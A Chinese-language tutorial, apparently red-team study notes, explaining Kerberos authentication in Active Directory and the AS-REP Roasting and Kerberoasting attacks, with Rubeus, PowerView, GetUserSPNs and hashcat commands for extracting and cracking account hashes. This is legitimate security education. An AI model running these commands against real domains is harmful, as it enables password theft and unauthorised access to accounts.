AS-REP Roasting & Kerberoast
AS-REP Roasting & Kerberoast
Kerberos
Kerberos 是一种基于加密 Ticket 的身份认证协议。Kerberos 主要由三个部分组成:Key Distribution Center (即KDC)、Client 和 Service
Kerberos认证协议的基础概念:
票据(Ticket):是网络对象互相访问的凭证。 TGT(Ticket Granting Ticket):入场券,通过入场券能够获得票据,是一种临时凭证的存在。
KDC: Key Distribution Center,密钥分发中心,负责管理票据、认证票据、分发票据,但是KDC
不是一个独立的服务,它由AS和TGS组成。
AS: Authentication Service,验证服务,为client生成TGT的服务
TGS: Ticket Granting Service,票据授予服务,为client生成某个服务的ticket
TGT: Ticket Granting Ticket,入场券,通过入场券能够获得票据,是一种临时凭证的存在。
Ticket:票据,是网络中各对象之间互相访问的凭证
AD: Account Database,存储所有client的白名单,只有存在于白名单的client才能顺利申请到
TGT。
DC: Domain Controller,域控
KRBTGT: 每个域控制器都有一个krbtgt账户,是KDC的服务账户,用来创建TGS加密的密钥
域认证流程
- client向kerberos服务请求,希望获取访问server的权限。 kerberos得到了这个消息,首先得判断client是否是可信赖的, 也就是白名单黑名单的说法。这就是AS服务完成的工作,通过 在AD中存储黑名单和白名单来区分client。成功后,返回AS返 回TGT给client。
- client得到了TGT后,继续向kerberos请求,希望获取访问 server的权限。kerberos又得到了这个消息,这时候通过client 消息中的TGT,判断出了client拥有了这个权限,给了client访 问server的权限ticket。
- client得到ticket后,终于可以成功访问server。这个ticket只是 针对这个server,其他server需要向TGS申请。
-
AS_REQ: Client向KDC发起AS_REQ,请求凭据是Client hash加密的时间戳
-
AS_REP: KDC使用Client hash进行解密,如果结果正确就返回用krbtgt hash加密的TGT票据,TGT里面包含PAC,PAC包含Client的sid,Client所在的组。
-
TGS_REQ: Client凭借TGT票据向KDC发起针对特定服务的TGS_REQ请求
-
TGS_REP: KDC使用krbtgt hash进行解密,如果结果正确,就返回用服务hash 加密的TGS票据(这一步不管用户有没有访问服务的权限,只要TGT正确,就返回TGS票据)
-
AP_REQ: Client拿着TGS票据去请求服务
-
AP_REP: 服务使用自己的hash解密TGS票据。如果解密正确,就拿着PAC去KDC那边问Client有没有访问权限,域控解密PAC。获取Client的sid,以及所在的组,再根据该服务的ACL,判断Client是否有访问服务的权限。
下面看到AS_REQ 、AS_REP图解
客户端需要发送自己的身份信息到KDC,身份信息中起码包含用户名,KDC根据用户名在AD中寻找是否在白名单中,然后根据用户名提取到对应的NTLM Hash。
KDC此时生成一个随机字符串,叫Session Key,使用用户名对应的NTLM Hash加密Session Key,作为AS数据,使用KDC中某个用户的NTLM Hash加密Session Key和客户端的信息,生成TGT。KDC返回的TGT客户端是无法解密的,因为它没有KDC Hash,也就是krbtgt用户的hash。
第二步客户端需要提供TGT与第一步中使用自己NTLM Hash解密出来的Session Key加密的客户端信息跟时间戳。
如果假设这个数据被中间人窃取到,也无法在段时间内破解,因为KDC会校验时间戳。
KDC接到TGT与其他内容后,会首先解密TGT,只有KDC可以解密TGT,从TGT中提取到Session Key,再使用Session Key解密其他内容,解密出来的内容同TGT中的信息进行校验来确认客户端是否受信。
验证通过后,就会生成一个新的Session Key,我们称之为Server Session Key,这个Server Session Key主要用于和服务器进行通信。同时还会生成一个Ticket,也就是最后的票据了。
AS-REP Roasting
对于域用户,如果设置了选项”Do not require Kerberos preauthentication”(不要求Kerberos预身份验证),此时向域控制器的88端口发送AS_REQ请求,此时域控会不作任何验证便将 TGT 票据和加密的 Session-key 等信息返回。 对收到的AS_REP内容(enc-part底下的ciper,因为这部分是使用用户hash加密session-key,我们通过进行离线爆破就可以获得用户hash)重新组合,能够拼接成”Kerberos 5 AS-REP etype 23”(18200)的格式,接下来可以使用hashcat对其破解,最终获得该用户的明文口令
Rubeus.exe asreproast > 1.txt
在$krb5asrep后面添加$23拼接
hashcat64.exe -m 18200 hash.txt pass.txt --force
工具会先从ldap拉取不需要kerberos预身份验证
勾选该选项的用户,然后发送AS-REP
包
非域内机器可以使用以下命令抓取
Import-Module .\PowerView.ps1
Get-DomainUser victimuser | Convert-FromUACValue
Import-Module .\ASREPRoast.ps1
Get-ASREPHash -UserName Oadmin -Domain klion.local -Server 192.168.0.66 | Out-File -Encoding ASCII hash.txt
https://github.com/HarmJ0y/ASREPRoast
Kerberoast
Kerberoast攻击,就是攻击者为了获取目标服务的访问权限,而设法破解Kerberos服务票据并重写它们的过程。这是红队当中非常常见的一种攻击手法,因为它不需要与服务目标服务进行任何交互,并且可以使用合法的活动目录访问来请求和导出可以离线破解的服务票据,以获取到最终的明文密码。之所以出现这种情况,是因为服务票据使用服务帐户的散列(NTLM)进行加密,所以任何域用户都可以从服务转储散列,而无需将shell引入运行该服务的系统中
Rubeus里面的kerberoast支持对所有用户或者特定用户执行kerberoasting操作,其原理在于先用LDAP查询于内的spn,再通过发送TGS包,然后直接打印出能使用 hashcat 或 john 爆破的Hash。 以下的命令会打印出注册于用户下的所有SPN的服务票据的hashcat格式。
Rubeus.exe kerberoast
GetUserSPNs.exe -request klion.local/oadmin
GetUserSPNs.exe -request klion.local/oadmin -outputfile hashes.kerberoast
hashcat64.exe -m 18100 hash.txt pass.txt --force